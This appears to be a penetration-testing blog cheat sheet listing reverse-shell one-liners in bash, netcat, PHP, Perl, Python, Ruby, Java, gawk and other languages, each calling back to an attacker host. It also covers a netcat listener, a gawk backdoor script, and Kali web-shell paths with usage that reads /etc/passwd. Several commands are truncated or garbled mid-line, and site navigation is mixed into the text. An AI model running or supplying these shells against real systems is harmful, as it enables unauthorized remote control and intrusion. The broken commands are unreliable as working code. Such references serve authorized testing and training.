



Reverse Shell Cheat Sheet ∞

CHEAT-SHEET

05 Nov 2020



Arr0way

During penetration testing if you're lucky enough to find a remote command execution vulnerability, you'll more often than not want to connect back to your attacking machine to leverage an interactive shell.

Below are a collection of **reverse shells** that use commonly installed programming languages, or commonly installed binaries (nc, telnet, bash, etc). At the bottom of the post are a collection of uploadable reverse shells, present in Kali Linux.

If you found this resource usefull you should also check out our penetration testing tools cheat sheet which has some additional reverse shells and other commands useful when performing penetration testing.

17/09/2020 - Updated to add the reverse shells submitted via Twitter
 @JaneScott 29/03/2015 - Original post date

Table of Contents

- Setup Listening Netcat
- Bash Reverse Shells
- socat Reverse Shell
- Golang Reverse Shell
- PHP Reverse Shell
- Netcat Reverse Shell
- Node.js Reverse Shell
- Telnet Reverse Shell
- Perl Reverse Shell
 - Perl Windows Reverse Shell
- Ruby Reverse Shell
- Java Reverse Shell
- Python Reverse Shell
- Gawk Reverse Shell
- Kali Web Shells
 - Kali PHP Web Shells
 - Kali Perl Reverse Shell
 - Kali Cold Fusion Shell
 - Kali ASP Shell
 - Kali ASPX Shells

[All Blog](#)[Cheat Sheets](#)[Techniques](#)[Security](#)[Hardening](#)[WalkThroughs](#)

CHEAT SHEETS

[Reverse Shell](#)[Cheat Sheet](#)[Penetration](#)[Testing Tools](#)[Cheat Sheet](#)[LFI Cheat Sheet](#)[Vi Cheat Sheet](#)[Systemd Cheat Sheet](#)[nbtscan Cheat](#)[Sheet](#)[Nmap Cheat Sheet](#)[Linux Commands](#)[Cheat Sheet](#)[More »](#)

WALKTHROUGHS

[InsomniHack CTF](#)[Teaser - Smartcat2](#)[Writeup](#)

Setup Listening Netcat

- o Kali JSP Reverse Shell

Your remote shell will need a listening netcat instance in order to connect back.



Set your Netcat listening shell on an allowed port

Use a port that is likely allowed via outbound firewall rules on the target network, e.g. 80 / 443

To setup a listening netcat instance, enter the following:

```
root@kali:~# nc -nvlp 80
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...
```



NAT requires a port forward

If you're attacking machine is behind a NAT router, you'll need to setup a port forward to the attacking machines IP / Port.

ATTACKING-IP is the machine running your listening netcat session, port 80 is used in all examples below (for reasons mentioned above).

Bash Reverse Shells

```
exec /bin/bash 0&0 2>&0
```

```
0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196
```

```
exec 5<>/dev/tcp/ATTACKING-IP/80
cat <&5 | while read line; do $line 2>&5 >&5; done ...
```

or:

```
while read line 0<&5; do $line 2>&5 >&5; done
```

InsomniHack CTF
Teaser - Smartcat1
Writeup
FristiLeaks 1.3
Walkthrough
SickOS 1.1 -
Walkthrough
The Wall
Boot2Root
Walkthrough
More »

TECHNIQUES

SSH &
Meterpreter
Pivoting
Techniques
More »

SECURITY HARDENING

Security Harden
CentOS 7
More »

/DEV/URANDOM

MacBook - Post
Install Config +
Apps
More »

OTHER BLOG

HowTo: Kali Linux
Chromium Install

```
bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1
```

socat Reverse Shell

Source: @filip_dragovic

```
socat tcp:ip:port exec:'bash -i' ,pty,stderr,setsid,sigint,sane &
```

Golang Reverse Shell

```
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.
```

PHP Reverse Shell

A useful PHP reverse shell:

```
php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3".(Assumes TCP uses file descriptor 3. If it doesn't work, try 4,5, or 6))'
```

Another PHP reverse shell (that was submitted via Twitter):

```
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/"ATTACKING IP"/443 0>&1");?>
```

Base64 encrypted by @0xInfection:

```
<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x
```

Netcat Reverse Shell

Useful netcat reverse shell examples:

for Web App Pen Testing
 Jenkins RCE via Unauthenticated API
 MacBook - Post Install Config + Apps
 enum4linux Cheat Sheet
 Linux Local Enumeration Script
 HowTo Install Quassel on Ubuntu
 HowTo Install KeepNote on OSX Mavericks

Don't forget to start your listener, or you won't be catching any shells :)

```
nc -lvp 80
```

```
nc -e /bin/sh ATTACKING-IP 80
```

```
/bin/sh | nc ATTACKING-IP 80
```

```
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p
```

A reverse shell submitted by [@Oxatul](#) which works well for OpenBSD netcat rather than GNU nc:

```
mkfifo /tmp/lol;nc ATTACKER-IP PORT 0</tmp/lol | /bin/sh -i 2>&1 |
```

Node.js Reverse Shell

```
require('child_process').exec('bash -i >& /dev/tcp/10.0.0.1/80 0>&1')
```

Source: [@jobertabma](#) via [@JaneScott](#)

Telnet Reverse Shell

```
rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
```

```
telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443
```

Remember to listen on 443 on the attacking machine also.

Perl Reverse Shell

```
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_S'
```

Perl Windows Reverse Shell

```
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");S' .
```

```
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_S' .
```

Ruby Reverse Shell

```
ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprin' .
```

Java Reverse Shell

```
r = Runtime.getRuntime()  
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat .  
p.waitFor()
```

Python Reverse Shell

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INI' .
```

Gawk Reverse Shell

Gawk one liner rev shell by @dmfroberson:

```
gawk 'BEGIN {P=4444;S="> ";H="192.168.1.100";V="/inet/tcp/0/"H"/"P;\\' .
```

```
#!/usr/bin/gawk -f

BEGIN {
    Port      =      8080
    Prompt   =      "bkd> "

    Service = "/inet/tcp/" Port "/0/0"
    while (1) {
        do {
            printf Prompt |& Service
            Service |& getline cmd
            if (cmd) {
                while ((cmd |& getline) > 0)
                    print $0 |& Service
                close(cmd)
            }
        } while (cmd != "exit")
        close(Service)
    }
}
```

Kali Web Shells

The following shells exist within Kali Linux, under `/usr/share/webshells/`
 these are only useful if you are able to upload, inject or transfer the shell to the machine.

Kali PHP Web Shells

Kali PHP reverse shells and command shells:

COMMAND	DESCRIPTION
<code>/usr/share/webshells/php/php-reverse-shell.php</code>	Pen Test Monkey - PHP Reverse Shell

COMMAND**DESCRIPTION**

```
/usr/share/webshells/
php/php-findsock-shell.php
```

```
/usr/share/webshells/
php/findsock.c
```

Pen Test Monkey, Findsock Shell. Build
`gcc -o findsock findsock.c` (be mindfull of
the target servers architecture), execute with
netcat not a browser `nc -v target 80`

```
/usr/share/webshells/
php/simple-backdoor.php
```

PHP backdoor, usefull for CMD execution if
upload / code injection is possible, usage:
`http://target.com/simple-
backdoor.php?cmd=cat+/etc/passwd`

```
/usr/share/webshells/
php/php-backdoor.php
```

Larger PHP shell, with a text input box for
command execution.

**Tip: Executing Reverse Shells**

The last two shells above are not reverse shells, however they can be useful for executing a reverse shell.

Kali Perl Reverse Shell

Kali perl reverse shell:

COMMAND**DESCRIPTION**

```
/usr/share/webshells/perl/
perl-reverse-shell.pl
```

Pen Test Monkey - Perl Reverse Shell

```
/usr/share/webshells/
perl/perlcmd.cgi
```

Pen Test Monkey, Perl Shell. Usage:

```
http://target.com/perlcmd.cgi?cat /etc/passwd
```

Kali Cold Fusion Shell

Kali Coldfusion Shell:

COMMAND**DESCRIPTION**

COMMAND**DESCRIPTION**`/usr/share/webshells/cfm/cfexec.cfm`

Cold Fusion Shell - aka CFM Shell

Kali ASP Shell

Classic ASP Reverse Shell + CMD shells:

COMMAND**DESCRIPTION**`/usr/share/webshells/asp/`

Kali ASP Shells

Kali ASPX Shells

ASP.NET reverse shells within Kali:

COMMAND**DESCRIPTION**`/usr/share/webshells/aspx/`

Kali ASPX Shells

Kali JSP Reverse Shell

Kali JSP Reverse Shell:

COMMAND**DESCRIPTION**`/usr/share/webshells/jsp/jsp-reverse.jsp`

Kali JSP Reverse Shell

Share this on...
[!\[\]\(aa01ebfc70be4fd3093ce28c2f248648_img.jpg\) Twitter](#)
[!\[\]\(3251cee67221ce439e6b30f3eb7312f5_img.jpg\) Facebook](#)
[!\[\]\(00879334e5288b509eaa8a99e2418ece_img.jpg\) Google+](#)
[!\[\]\(fbfd14919fed0f4f85127dd9ffc0b367_img.jpg\) Reddit](#)
Follow Arr0way

Also...

You might want to read these

CATEGORY	POST NAME
cheat-sheet	Penetration Testing Tools Cheat Sheet
cheat-sheet	LFI Cheat Sheet
kali linux	HowTo: Kali Linux Chromium Install for Web App Pen Testing
walkthroughs	InsomniHack CTF Teaser - Smartcat2 Writeup
walkthroughs	InsomniHack CTF Teaser - Smartcat1 Writeup
walkthroughs	FristiLeaks 1.3 Walkthrough
walkthroughs	SickOS 1.1 - Walkthrough
walkthroughs	The Wall Boot2Root Walkthrough
walkthroughs	/dev/random: Sleepy Walkthrough CTF
walkthroughs	/dev/random Pipe walkthrough